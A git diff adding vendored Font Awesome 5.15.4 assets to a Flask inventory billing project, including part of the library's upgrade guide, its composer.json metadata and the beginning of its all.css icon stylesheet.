scss/fa-brands.scss | scss/brands.scss | + +--- + +## 5.0.x to 5.1.0 + +### New packages available for browser-only integration + +**If you were previously using @fortawesome/fontawesome you need to switch to one of the new packages.** + +Our Free and Pro CDN provide access to JS, CSS, sprites, and separate SVG files. + +We've now made these files conveniently available through NPM. + +* [@fortawesome/fontawesome-free](https://www.npmjs.com/package/@fortawesome/fontawesome-free) +* @fortawesome/fontawesome-pro (private package, requires Pro subscription) + +If you are familiar with the paths and options available with the CDN these +packages should be familiar. + +Information about [Font Awesome Pro subscriptions](https://fontawesome.com/pro) +can be found in your [Font Awesome awesome +account](https://fontawesome.com/account/services). + +### Renamed packages + +The following packages have been renamed as part of 5.1.0 of Font Awesome. + +_All packages are in the [@fortawesome NPM scope](https://www.npmjs.com/search?q=scope:fortawesome&ranking=optimal)_ + +| Old package(1) | New package | +|---------------------------|------------------------| +| fontawesome-free-webfonts | fontawesome-free | +| fontawesome-pro-webfonts | fontawesome-pro | +| fontawesome-free-solid   | free-solid-svg-icons | +| fontawesome-free-regular | free-regular-svg-icons | +| fontawesome-free-brands   | free-brands-svg-icons | +| fontawesome-pro-solid   | pro-solid-svg-icons | +| fontawesome-pro-regular   | pro-regular-svg-icons | +| fontawesome-pro-light   | pro-light-svg-icons | + +(1) Old packages have now been deprecated. They are still available but will only receive high priority patch release fixes. + +**You'll need to update your package.json file with the renamed packages and new versions.** + +### No more default imports + +Recently we spent a good deal of time supporting TypeScript to enable us to +create the Angular Font Awesome component. During that adventure we +[were](https://basarat.gitbooks.io/typescript/docs/tips/defaultIsBad.html) +[convinced](https://blog.neufund.org/why-we-have-banned-default-exports-and-you-should-do-the-same-d51fdc2cf2ad) +that we were going to remove default exports from all of our components, +libraries, and packages. This is complete with the umbrella release of `5.1.0` of Font Awesome. + +What does that mean? + +~~Old way:~~ + +```javascript +import fontawesome from '@fortawesome/fontawesome' +import solid from '@fortawesome/fontawesome-free-solid' +import faTwitter from '@fortawesome/fontawesome-free-brands/faTwitter' +import FontAwesomeIcon from '@fortawesome/vue-fontawesome' + +library.add(solid, faTwitter) +``` + +New way: + +```javascript +import { library, dom } from '@fortawesome/fontawesome-svg-core' +import { fas } from '@fortawesome/free-solid-svg-icons' +import { faTwitter } from '@fortawesome/free-brands-svg-icons' +import { FontAwesomeIcon } from '@fortawesome/vue-fontawesome' + +library.add(fas, faTwitter) + +// Kicks off the process of finding <i> tags and replacing with <svg> +dom.watch() +``` + +This is also a valid way to import icons that works if your tool does not support tree shaking: + +```javascript +import { faTwitter } from '@fortawesome/free-brands-svg-icons/faTwitter' +``` + +### Improved support for tree shaking + +Tree shaking is now functional by default and no additional configuration is required to make it work. + +The `shakable.es.js` module has been removed and is no longer needed. + +If you've previously configured tree shaking by modifying your webpack or rollup you can safely remove these. + +**We recommend that you check your bundle size after upgrading an ensure that file sizes are as you would expect.** + +```javascript +module.exports = { + // ... + resolve: { + alias: { + '@fortawesome/fontawesome-free-solid$': '@fortawesome/fontawesome-free-solid/shakable.es.js' + } + } +} +``` + +```javascript +const alias = require('rollup-plugin-alias') + +rollup({ + // ... + plugins: [ + alias({ + '@fortawesome/fontawesome-free-solid': 'node_modules/@fortawesome/fontawesome-free-solid/shakable.es.js' + }) + ] +}) +``` + +--- + +## 5.0.11 to 5.0.12 + +Due to a collision with the "r" glyph the R Project brand icon has been renamed to `r-project`. + +--- + +## 5.0.x to 5.0.6 + +### SVG Attribute was changed from data-fa-processed to data-fa-i2svg + +As part of a bug fix for the release of 5.0.6 we renamed an attribute that was found on `<svg>` elements from +`data-fa-processed` to `data-fa-i2svg`. We feel this more accurately reflects the intent and purpose. + +This attribute is added to any icon that has been generated using `fontawesome.dom.i2svg()`. + +Be aware that `data-fa-i2svg` (or `data-fa-processed`) will no longer be present on icons that are created using +`fontawesome.icon()`. + +If you've written and DOM queries that rely on `data-fa-processed` you should get things working again by doing a +simple find and replace. diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/composer.json b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/composer.json new file mode 100644 index 00000000..65630615 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/composer.json @@ -0,0 +1,47 @@ +{ + "name": "fortawesome/font-awesome", + "description": "The iconic font, CSS, and SVG framework", + "keywords": ["font", "awesome", "fontawesome", "icon", "svg", "font", "bootstrap"], + "homepage": "https://fontawesome.com", + "authors": [ + { + "name": "Travis Chase", + "homepage": "http://twitter.com/supercodepoet" + }, + { + "name": "Dave Gandy", + "homepage": "http://twitter.com/davegandy" + }, + { + "name": "Rob Madole", + "homepage": "http://twitter.com/robmadole" + }, + { + "name": "Jory Raphael", + "homepage": "http://twitter.com/sensibleworld" + }, + { + "name": "Geremia Taglialatela", + "homepage": "http://twitter.com/gtagliala" + }, + { + "name": "Brian Talbot", + "homepage": "http://twitter.com/talbs" + }, + { + "name": "Mike Wilkerson", + "homepage": "http://twitter.com/mw77" + } + ], + "support": { + "email": "hello@fontawesome.com", + "issues": "https://github.com/FortAwesome/Font-Awesome/issues", + "source": "https://github.com/FortAwesome/Font-Awesome", + "docs": "http://fontawesome.com/how-to-use" + }, + "license": [ + "CC-BY-4.0", + "OFL-1.1", + "MIT" + ] +} diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/all.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/all.css new file mode 100644 index 00000000..d9ade752 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/all.css @@ -0,0 +1,4616 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +.fa, +.fas, +.far, +.fal, +.fad, +.fab { + -moz-osx-font-smoothing: grayscale; + -webkit-font-smoothing: antialiased; + display: inline-block; + font-style: normal; + font-variant: normal; + text-rendering: auto; + line-height: 1; } + +.fa-lg { + font-size: 1.33333em; + line-height: 0.75em; + vertical-align: -.0667em; } + +.fa-xs { + font-size: .75em; } + +.fa-sm { + font-size: .875em; } + +.fa-1x { + font-size: 1em; } + +.fa-2x { + font-size: 2em; } + +.fa-3x { + font-size: 3em; } + +.fa-4x { + font-size: 4em; } + +.fa-5x { + font-size: 5em; } + +.fa-6x { + font-size: 6em; } + +.fa-7x { + font-size: 7em; } + +.fa-8x { + font-size: 8em; } + +.fa-9x { + font-size: 9em; } + +.fa-10x { + font-size: 10em; } + +.fa-fw { + text-align: center; + width: 1.25em; } + +.fa-ul { + list-style-type: none; + margin-left: 2.5em; + padding-left: 0; } + .fa-ul > li { + position: relative; } + +.fa-li { + left: -2em; + position: absolute; + text-align: center; + width: 2em; + line-height: inherit; } + +.fa-border { + border: solid 0.08em #eee; + border-radius: .1em; + padding: .2em .25em .15em; } + +.fa-pull-left { + float: left; } + +.fa-pull-right { + float: right; } + +.fa.fa-pull-left, +.fas.fa-pull-left, +.far.fa-pull-left, +.fal.fa-pull-left, +.fab.fa-pull-left { + margin-right: .3em; } + +.fa.fa-pull-right, +.fas.fa-pull-right, +.far.fa-pull-right, +.fal.fa-pull-right, +.fab.fa-pull-right { + margin-left: .3em; } + +.fa-spin { + -webkit-animation: fa-spin 2s infinite linear; + animation: fa-spin 2s infinite linear; } + +.fa-pulse { + -webkit-animation: fa-spin 1s infinite steps(8); + animation: fa-spin 1s infinite steps(8); } + +@-webkit-keyframes fa-spin { + 0% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); } } + +@keyframes fa-spin { + 0% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); } } + +.fa-rotate-90 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)"; + -webkit-transform: rotate(90deg); + transform: rotate(90deg); } + +.fa-rotate-180 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)"; + -webkit-transform: rotate(180deg); + transform: rotate(180deg); } + +.fa-rotate-270 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)"; + -webkit-transform: rotate(270deg); + transform: rotate(270deg); } + +.fa-flip-horizontal { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)"; + -webkit-transform: scale(-1, 1); + transform: scale(-1, 1); } + +.fa-flip-vertical { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; + -webkit-transform: scale(1, -1); + transform: scale(1, -1); } + +.fa-flip-both, .fa-flip-horizontal.fa-flip-vertical { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; + -webkit-transform: scale(-1, -1); + transform: scale(-1, -1); } + +:root .fa-rotate-90, +:root .fa-rotate-180, +:root .fa-rotate-270, +:root .fa-flip-horizontal, +:root .fa-flip-vertical, +:root .fa-flip-both { + -webkit-filter: none; + filter: none; } + +.fa-stack { + display: inline-block; + height: 2em; + line-height: 2em; + position: relative; + vertical-align: middle; + width: 2.5em; } + +.fa-stack-1x, +.fa-stack-2x { + left: 0; + position: absolute; + text-align: center; + width: 100%; } + +.fa-stack-1x { + line-height: inherit; } + +.fa-stack-2x { + font-size: 2em; } + +.fa-inverse { + color: #fff; } + +/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen +readers do not read off random characters that represent icons */ +.fa-500px:before { + content: "\f26e"; } + +.fa-accessible-icon:before { + content: "\f368"; } + +.fa-accusoft:before { + content: "\f369"; } + +.fa-acquisitions-incorporated:before { + content: "\f6af"; } + +.fa-ad:before { + content: "\f641"; } + +.fa-address-book:before { + content: "\f2b9"; } + +.fa-address-card:before { + content: "\f2bb"; } + +.fa-adjust:before { + content: "\f042"; } + +.fa-adn:before { + content: "\f170"; } + +.fa-adversal:before { + content: "\f36a"; } + +.fa-affiliatetheme:before { + content: "\f36b"; } + +.fa-air-freshener:before { + content: "\f5d0"; } + +.fa-airbnb:before { + content: "\f834"; } + +.fa-algolia:before { + content: "\f36c"; } + +.fa-align-center:before { + content: "\f037"; } + +.fa-align-justify:before { + content: "\f039"; } + +.fa-align-left:before { + content: "\f036"; } + +.fa-align-right:before { + content: "\f038"; } + +.fa-alipay:before { + content: "\f642"; } + +.fa-allergies:before { + content: "\f461"; } + +.fa-amazon:before { + content: "\f270"; } + +.fa-amazon-pay:before { + content: "\f42c"; } + +.fa-ambulance:before { + content: "\f0f9"; } + +.fa-american-sign-language-interpreting:before { + content: "\f2a3"; } + +.fa-amilia:before { + content: "\f36d"; } + +.fa-anchor:before { + content: "\f13d"; } + +.fa-android:before { + content: "\f17b"; } + +.fa-angellist:before { + content: "\f209"; } + +.fa-angle-double-down:before { + content: "\f103"; } + +.fa-angle-double-left:before { + content: "\f100"; } + +.fa-angle-double-right:before { + content: "\f101"; } + +.fa-angle-double-up:before { + content: "\f102"; } + +.fa-angle-down:before { + content: "\f107"; } + +.fa-angle-left:before { + content: "\f104"; } + +.fa-angle-right:before { + content: "\f105"; } + +.fa-angle-up:before { + content: "\f106"; } + +.fa-angry:before { + content: "\f556"; } + +.fa-angrycreative:before { + content: "\f36e"; } + +.fa-angular:before { + content: "\f420"; } + +.fa-ankh:before { + content: "\f644"; } + +.fa-app-store:before { + content: "\f36f"; } + +.fa-app-store-ios:before { + content: "\f370"; } + +.fa-apper:before { + content: "\f371"; } + +.fa-apple:before { + content: "\f179"; } + +.fa-apple-alt:before { + content: "\f5d1"; } + +.fa-apple-pay:before { + content: "\f415"; } + +.fa-archive:before { + content: "\f187"; } + +.fa-archway:before { + content: "\f557"; } + +.fa-arrow-alt-circle-down:before { + content: "\f358"; } + +.fa-arrow-alt-circle-left:before { + content: "\f359"; } + +.fa-arrow-alt-circle-right:before { + content: "\f35a"; } + +.fa-arrow-alt-circle-up:before { + content: "\f35b"; } + +.fa-arrow-circle-down:before { + content: "\f0ab"; } + +.fa-arrow-circle-left:before { + content: "\f0a8"; } + +.fa-arrow-circle-right:before { + content: "\f0a9"; } + +.fa-arrow-circle-up:before { + content: "\f0aa"; } + +.fa-arrow-down:before { + content: "\f063"; } + +.fa-arrow-left:before { + content: "\f060"; } + +.fa-arrow-right:before { + content: "\f061"; } + +.fa-arrow-up:before { + content: "\f062"; } + +.fa-arrows-alt:before { + content: "\f0b2"; } + +.fa-arrows-alt-h:before { + content: "\f337"; } + +.fa-arrows-alt-v:before { + content: "\f338"; } + +.fa-artstation:before { + content: "\f77a"; } + +.fa-assistive-listening-systems:before { + content: "\f2a2"; } + +.fa-asterisk:before { + content: "\f069"; } + +.fa-asymmetrik:before { + content: "\f372"; } + +.fa-at:before { + content: "\f1fa"; } + +.fa-atlas:before { + content: "\f558"; } + +.fa-atlassian:before { + content: "\f77b"; } + +.fa-atom:before { + content: "\f5d2"; } + +.fa-audible:before { + content: "\f373"; } + +.fa-audio-description:before { + content: "\f29e"; } + +.fa-autoprefixer:before { + content: "\f41c"; } + +.fa-avianex:before { + content: "\f374"; } + +.fa-aviato:before { + content: "\f421"; } + +.fa-award:before { + content: "\f559"; } + +.fa-aws:before { + content: "\f375"; } + +.fa-baby:before { + content: "\f77c"; } + +.fa-baby-carriage:before { + content: "\f77d"; } + +.fa-backspace:before { + content: "\f55a"; } + +.fa-backward:before { + content: "\f04a"; } + +.fa-bacon:before { + content: "\f7e5"; } + +.fa-bacteria:before { + content: "\e059"; } + +.fa-bacterium:before { + content: "\e05a"; } + +.fa-bahai:before { + content: "\f666"; } + +.fa-balance-scale:before { + content: "\f24e"; } + +.fa-balance-scale-left:before { + content: "\f515"; } + +.fa-balance-scale-right:before { + content: "\f516"; } + +.fa-ban:before { + content: "\f05e"; } + +.fa-band-aid:before { + content: "\f462"; } + +.fa-bandcamp:before { + content: "\f2d5"; } + +.fa-barcode:before { + content: "\f02a"; } + +.fa-bars:before { + content: "\f0c9"; } + +.fa-baseball-ball:before { + content: "\f433"; } + +.fa-basketball-ball:before { + content: "\f434"; } + +.fa-bath:before { + content: "\f2cd"; } + +.fa-battery-empty:before { + content: "\f244"; } + +.fa-battery-full:before { + content: "\f240"; } + +.fa-battery-half:before { + content: "\f242"; } + +.fa-battery-quarter:before { + content: "\f243"; } + +.fa-battery-three-quarters:before { + content: "\f241"; } + +.fa-battle-net:before { + content: "\f835"; } + +.fa-bed:before { + content: "\f236"; } + +.fa-beer:before { + content: "\f0fc"; } + +.fa-behance:before { + content: "\f1b4"; } + +.fa-behance-square:before { + content: "\f1b5"; } + +.fa-bell:before { + content: "\f0f3"; } + +.fa-bell-slash:before { + content: "\f1f6"; } + +.fa-bezier-curve:before { + content: "\f55b"; } + +.fa-bible:before { + content: "\f647"; } + +.fa-bicycle:before { + content: "\f206"; } + +.fa-biking:before { + content: "\f84a"; } + +.fa-bimobject:before { + content: "\f378"; } + +.fa-binoculars:before { + content: "\f1e5"; } + +.fa-biohazard:before { + content: "\f780"; } + +.fa-birthday-cake:before { + content: "\f1fd"; } + +.fa-bitbucket:before { + content: "\f171"; } + +.fa-bitcoin:before { + content: "\f379"; } + +.fa-bity:before { + content: "\f37a"; } + +.fa-black-tie:before { + content: "\f27e"; } + +.fa-blackberry:before { + content: "\f37b"; } + +.fa-blender:before { + content: "\f517"; } + +.fa-blender-phone:before { + content: "\f6b6"; } + +.fa-blind:before { + content: "\f29d"; } + +.fa-blog:before { + content: "\f781"; } + +.fa-blogger:before { + content: "\f37c"; } + +.fa-blogger-b:before { + content: "\f37d"; } + +.fa-bluetooth:before { + content: "\f293"; } + +.fa-bluetooth-b:before { + content: "\f294"; } + +.fa-bold:before { + content: "\f032"; } + +.fa-bolt:before { + content: "\f0e7"; } + +.fa-bomb:before { + content: "\f1e2"; } + +.fa-bone:before { + content: "\f5d7"; } + +.fa-bong:before { + content: "\f55c"; } + +.fa-book:before { + content: "\f02d"; } + +.fa-book-dead:before { + content: "\f6b7"; } + +.fa-book-medical:before { + content: "\f7e6"; } + +.fa-book-open:before { + content: "\f518"; } + +.fa-book-reader:before { + content: "\f5da"; } + +.fa-bookmark:before { + content: "\f02e"; } + +.fa-bootstrap:before { + content: "\f836"; } + +.fa-border-all:before { + content: "\f84c"; } + +.fa-border-none:before { + content: "\f850"; } + +.fa-border-style:before { + content: "\f853"; } + +.fa-bowling-ball:before { + content: "\f436"; } + +.fa-box:before { + content: "\f466"; } + +.fa-box-open:before { + content: "\f49e"; } + +.fa-box-tissue:before { + content: "\e05b"; } + +.fa-boxes:before { + content: "\f468"; } + +.fa-braille:before { + content: "\f2a1"; } + +.fa-brain:before { + content: "\f5dc"; } + +.fa-bread-slice:before { + content: "\f7ec"; } + +.fa-briefcase:before { + content: "\f0b1"; } + +.fa-briefcase-medical:before { + content: "\f469"; } + +.fa-broadcast-tower:before { + content: "\f519"; } + +.fa-broom:before { + content: "\f51a"; } + +.fa-brush:before { + content: "\f55d"; } + +.fa-btc:before { + content: "\f15a"; } + +.fa-buffer:before { + content: "\f837"; } + +.fa-bug:before { + content: "\f188"; } + +.fa-building:before { + content: "\f1ad"; } + +.fa-bullhorn:before { + content: "\f0a1"; } + +.fa-bullseye:before { + content: "\f140"; } + +.fa-burn:before { + content: "\f46a"; } + +.fa-buromobelexperte:before { + content: "\f37f"; } + +.fa-bus:before { + content: "\f207"; } + +.fa-bus-alt:before { + content: "\f55e"; } + +.fa-business-time:before { + content: "\f64a"; } + +.fa-buy-n-large:before { + content: "\f8a6"; } + +.fa-buysellads:before { + content: "\f20d"; } + +.fa-calculator:before { + content: "\f1ec"; } + +.fa-calendar:before { + content: "\f133"; } + +.fa-calendar-alt:before { + content: "\f073"; } + +.fa-calendar-check:before { + content: "\f274"; } + +.fa-calendar-day:before { + content: "\f783"; } + +.fa-calendar-minus:before { + content: "\f272"; } + +.fa-calendar-plus:before { + content: "\f271"; } + +.fa-calendar-times:before { + content: "\f273"; } + +.fa-calendar-week:before { + content: "\f784"; } + +.fa-camera:before { + content: "\f030"; } + +.fa-camera-retro:before { + content: "\f083"; } + +.fa-campground:before { + content: "\f6bb"; } + +.fa-canadian-maple-leaf:before { + content: "\f785"; } + +.fa-candy-cane:before { + content: "\f786"; } + +.fa-cannabis:before { + content: "\f55f"; } + +.fa-capsules:before { + content: "\f46b"; } + +.fa-car:before { + content: "\f1b9"; } + +.fa-car-alt:before { + content: "\f5de"; } + +.fa-car-battery:before { + content: "\f5df"; } + +.fa-car-crash:before { + content: "\f5e1"; } + +.fa-car-side:before { + content: "\f5e4"; } + +.fa-caravan:before { + content: "\f8ff"; } + +.fa-caret-down:before { + content: "\f0d7"; } + +.fa-caret-left:before { + content: "\f0d9"; } + +.fa-caret-right:before { + content: "\f0da"; } + +.fa-caret-square-down:before { + content: "\f150"; } + +.fa-caret-square-left:before { + content: "\f191"; } + +.fa-caret-square-right:before { + content: "\f152"; } + +.fa-caret-square-up:before { + content: "\f151"; } + +.fa-caret-up:before { + content: "\f0d8"; } + +.fa-carrot:before { + content: "\f787"; } + +.fa-cart-arrow-down:before { + content: "\f218"; } + +.fa-cart-plus:before { + content: "\f217"; } + +.fa-cash-register:before { + content: "\f788"; } + +.fa-cat:before { + content: "\f6be"; } + +.fa-cc-amazon-pay:before { + content: "\f42d"; } + +.fa-cc-amex:before { + content: "\f1f3"; } + +.fa-cc-apple-pay:before { + content: "\f416"; } + +.fa-cc-diners-club:before { + content: "\f24c"; } + +.fa-cc-discover:before { + content: "\f1f2"; } + +.fa-cc-jcb:before { + content: "\f24b"; } + +.fa-cc-mastercard:before { + content: "\f1f1"; } + +.fa-cc-paypal:before { + content: "\f1f4"; } + +.fa-cc-stripe:before { + content: "\f1f5"; } + +.fa-cc-visa:before { + content: "\f1f0"; } + +.fa-centercode:before { + content: "\f380"; } + +.fa-centos:before { + content: "\f789"; } + +.fa-certificate:before { + content: "\f0a3"; } + +.fa-chair:before { + content: "\f6c0"; } + +.fa-chalkboard:before { + content: "\f51b"; } + +.fa-chalkboard-teacher:before { + content: "\f51c"; } + +.fa-charging-station:before { + content: "\f5e7"; } + +.fa-chart-area:before { + content: "\f1fe"; } + +.fa-chart-bar:before { + content: "\f080"; } + +.fa-chart-line:before { + content: "\f201"; } + +.fa-chart-pie:before { + content: "\f200"; } + +.fa-check:before { + content: "\f00c"; } + +.fa-check-circle:before { + content: "\f058"; } + +.fa-check-double:before { + content: "\f560"; } + +.fa-check-square:before { + content: "\f14a"; } + +.fa-cheese:before { + content: "\f7ef"; } + +.fa-chess:before { + content: "\f439"; } + +.fa-chess-bishop:before { + content: "\f43a"; } + +.fa-chess-board:before { + content: "\f43c"; } + +.fa-chess-king:before { + content: "\f43f"; } + +.fa-chess-knight:before { + content: "\f441"; } + +.fa-chess-pawn:before { + content: "\f443"; } + +.fa-chess-queen:before { + content: "\f445"; } + +.fa-chess-rook:before { + content: "\f447"; } + +.fa-chevron-circle-down:before { + content: "\f13a"; } + +.fa-chevron-circle-left:before { + content: "\f137"; } + +.fa-chevron-circle-right:before { + content: "\f138"; } + +.fa-chevron-circle-up:before { + content: "\f139"; } + +.fa-chevron-down:before { + content: "\f078"; } + +.fa-chevron-left:before { + content: "\f053"; } + +.fa-chevron-right:before { + content: "\f054"; } + +.fa-chevron-up:before { + content: "\f077"; } + +.fa-child:before { + content: "\f1ae"; } + +.fa-chrome:before { + content: "\f268"; } + +.fa-chromecast:before { + content: "\f838"; } + +.fa-church:before { + content: "\f51d"; } + +.fa-circle:before { + content: "\f111"; } + +.fa-circle-notch:before { + content: "\f1ce"; } + +.fa-city:before { + content: "\f64f"; } + +.fa-clinic-medical:before { + content: "\f7f2"; } + +.fa-clipboard:before { + content: "\f328"; } + +.fa-clipboard-check:before { + content: "\f46c"; } + +.fa-clipboard-list:before { + content: "\f46d"; } + +.fa-clock:before { + content: "\f017"; } + +.fa-clone:before { + content: "\f24d"; } + +.fa-closed-captioning:before { + content: "\f20a"; } + +.fa-cloud:before { + content: "\f0c2"; } + +.fa-cloud-download-alt:before { + content: "\f381"; } + +.fa-cloud-meatball:before { + content: "\f73b"; } + +.fa-cloud-moon:before { + content: "\f6c3"; } + +.fa-cloud-moon-rain:before { + content: "\f73c"; } + +.fa-cloud-rain:before { + content: "\f73d"; } + +.fa-cloud-showers-heavy:before { + content: "\f740"; } + +.fa-cloud-sun:before { + content: "\f6c4"; } + +.fa-cloud-sun-rain:before { + content: "\f743"; } + +.fa-cloud-upload-alt:before { + content: "\f382"; } + +.fa-cloudflare:before { + content: "\e07d"; } + +.fa-cloudscale:before { + content: "\f383"; } + +.fa-cloudsmith:before { + content: "\f384"; } + +.fa-cloudversify:before { + content: "\f385"; } + +.fa-cocktail:before { + content: "\f561"; } + +.fa-code:before { + content: "\f121"; } + +.fa-code-branch:before { + content: "\f126"; } + +.fa-codepen:before { + content: "\f1cb"; } + +.fa-codiepie:before { + content: "\f284"; } + +.fa-coffee:before { + content: "\f0f4"; } + +.fa-cog:before { + content: "\f013"; } + +.fa-cogs:before { + content: "\f085"; } + +.fa-coins:before { + content: "\f51e"; } + +.fa-columns:before { + content: "\f0db"; } + +.fa-comment:before { + content: "\f075"; } + +.fa-comment-alt:before { + content: "\f27a"; } + +.fa-comment-dollar:before { + content: "\f651"; } + +.fa-comment-dots:before { + content: "\f4ad"; } + +.fa-comment-medical:before { + content: "\f7f5"; } + +.fa-comment-slash:before { + content: "\f4b3"; } + +.fa-comments:before { + content: "\f086"; } + +.fa-comments-dollar:before { + content: "\f653"; } + +.fa-compact-disc:before { + content: "\f51f"; } + +.fa-compass:before { + content: "\f14e"; } + +.fa-compress:before { + content: "\f066"; } + +.fa-compress-alt:before { + content: "\f422"; } + +.fa-compress-arrows-alt:before { + content: "\f78c"; } + +.fa-concierge-bell:before { + content: "\f562"; } + +.fa-confluence:before { + content: "\f78d"; } + +.fa-connectdevelop:before { + content: "\f20e"; } + +.fa-contao:before { + content: "\f26d"; } + +.fa-cookie:before { + content: "\f563"; } + +.fa-cookie-bite:before { + content: "\f564"; } + +.fa-copy:before { + content: "\f0c5"; } + +.fa-copyright:before { + content: "\f1f9"; } + +.fa-cotton-bureau:before { + content: "\f89e"; } + +.fa-couch:before { + content: "\f4b8"; } + +.fa-cpanel:before { + content: "\f388"; } + +.fa-creative-commons:before { + content: "\f25e"; } + +.fa-creative-commons-by:before { + content: "\f4e7"; } + +.fa-creative-commons-nc:before { + content: "\f4e8"; } + +.fa-creative-commons-nc-eu:before { + content: "\f4e9"; } + +.fa-creative-commons-nc-jp:before { + content: "\f4ea"; } + +.fa-creative-commons-nd:before { + content: "\f4eb"; } + +.fa-creative-commons-pd:before { + content: "\f4ec"; } + +.fa-creative-commons-pd-alt:before { + content: "\f4ed"; } + +.fa-creative-commons-remix:before { + content: "\f4ee"; } + +.fa-creative-commons-sa:before { + content: "\f4ef"; } + +.fa-creative-commons-sampling:before { + content: "\f4f0"; } + +.fa-creative-commons-sampling-plus:before { + content: "\f4f1"; } + +.fa-creative-commons-share:before { + content: "\f4f2"; } + +.fa-creative-commons-zero:before { + content: "\f4f3"; } + +.fa-credit-card:before { + content: "\f09d"; } + +.fa-critical-role:before { + content: "\f6c9"; } + +.fa-crop:before { + content: "\f125"; } + +.fa-crop-alt:before { + content: "\f565"; } + +.fa-cross:before { + content: "\f654"; } + +.fa-crosshairs:before { + content: "\f05b"; } + +.fa-crow:before { + content: "\f520"; } + +.fa-crown:before { + content: "\f521"; } + +.fa-crutch:before { + content: "\f7f7"; } + +.fa-css3:before { + content: "\f13c"; } + +.fa-css3-alt:before { + content: "\f38b"; } + +.fa-cube:before { + content: "\f1b2"; } + +.fa-cubes:before { + content: "\f1b3"; } + +.fa-cut:before { + content: "\f0c4"; } + +.fa-cuttlefish:before { + content: "\f38c"; } + +.fa-d-and-d:before { + content: "\f38d"; } + +.fa-d-and-d-beyond:before { + content: "\f6ca"; } + +.fa-dailymotion:before { + content: "\e052"; } + +.fa-dashcube:before { + content: "\f210"; } + +.fa-database:before { + content: "\f1c0"; } + +.fa-deaf:before { + content: "\f2a4"; } + +.fa-deezer:before { + content: "\e077"; } + +.fa-delicious:before { + content: "\f1a5"; } + +.fa-democrat:before { + content: "\f747"; } + +.fa-deploydog:before { + content: "\f38e"; } + +.fa-deskpro:before { + content: "\f38f"; } + +.fa-desktop:before { + content: "\f108"; } + +.fa-dev:before { + content: "\f6cc"; } + +.fa-deviantart:before { + content: "\f1bd"; } + +.fa-dharmachakra:before { + content: "\f655"; } + +.fa-dhl:before { + content: "\f790"; } + +.fa-diagnoses:before { + content: "\f470"; } + +.fa-diaspora:before { + content: "\f791"; } + +.fa-dice:before { + content: "\f522"; } + +.fa-dice-d20:before { + content: "\f6cf"; } + +.fa-dice-d6:before { + content: "\f6d1"; } + +.fa-dice-five:before { + content: "\f523"; } + +.fa-dice-four:before { + content: "\f524"; } + +.fa-dice-one:before { + content: "\f525"; } + +.fa-dice-six:before { + content: "\f526"; } + +.fa-dice-three:before { + content: "\f527"; } + +.fa-dice-two:before { + content: "\f528"; } + +.fa-digg:before { + content: "\f1a6"; } + +.fa-digital-ocean:before { + content: "\f391"; } + +.fa-digital-tachograph:before { + content: "\f566"; } + +.fa-directions:before { + content: "\f5eb"; } + +.fa-discord:before { + content: "\f392"; } + +.fa-discourse:before { + content: "\f393"; } + +.fa-disease:before { + content: "\f7fa"; } + +.fa-divide:before { + content: "\f529"; } + +.fa-dizzy:before { + content: "\f567"; } + +.fa-dna:before { + content: "\f471"; } + +.fa-dochub:before { + content: "\f394"; } + +.fa-docker:before { + content: "\f395"; } + +.fa-dog:before { + content: "\f6d3"; } + +.fa-dollar-sign:before { + content: "\f155"; } + +.fa-dolly:before { + content: "\f472"; } + +.fa-dolly-flatbed:before { + content: "\f474"; } + +.fa-donate:before { + content: "\f4b9"; } + +.fa-door-closed:before { + content: "\f52a"; } + +.fa-door-open:before { + content: "\f52b"; } + +.fa-dot-circle:before { + content: "\f192"; } + +.fa-dove:before { + content: "\f4ba"; } + +.fa-download:before { + content: "\f019"; } + +.fa-draft2digital:before { + content: "\f396"; } + +.fa-drafting-compass:before { + content: "\f568"; } + +.fa-dragon:before { + content: "\f6d5"; } + +.fa-draw-polygon:before { + content: "\f5ee"; } + +.fa-dribbble:before { + content: "\f17d"; } + +.fa-dribbble-square:before { + content: "\f397"; } + +.fa-dropbox:before { + content: "\f16b"; } + +.fa-drum:before { + content: "\f569"; } + +.fa-drum-steelpan:before { + content: "\f56a"; } + +.fa-drumstick-bite:before { + content: "\f6d7"; } + +.fa-drupal:before { + content: "\f1a9"; } + +.fa-dumbbell:before { + content: "\f44b"; } + +.fa-dumpster:before { + content: "\f793"; } + +.fa-dumpster-fire:before { + content: "\f794"; } + +.fa-dungeon:before { + content: "\f6d9"; } + +.fa-dyalog:before { + content: "\f399"; } + +.fa-earlybirds:before { + content: "\f39a"; } + +.fa-ebay:before { + content: "\f4f4"; } + +.fa-edge:before { + content: "\f282"; } + +.fa-edge-legacy:before { + content: "\e078"; } + +.fa-edit:before { + content: "\f044"; } + +.fa-egg:before { + content: "\f7fb"; } + +.fa-eject:before { + content: "\f052"; } + +.fa-elementor:before { + content: "\f430"; } + +.fa-ellipsis-h:before { + content: "\f141"; } + +.fa-ellipsis-v:before { + content: "\f142"; } + +.fa-ello:before { + content: "\f5f1"; } + +.fa-ember:before { + content: "\f423"; } + +.fa-empire:before { + content: "\f1d1"; } + +.fa-envelope:before { + content: "\f0e0"; } + +.fa-envelope-open:before { + content: "\f2b6"; } + +.fa-envelope-open-text:before { + content: "\f658"; } + +.fa-envelope-square:before { + content: "\f199"; } + 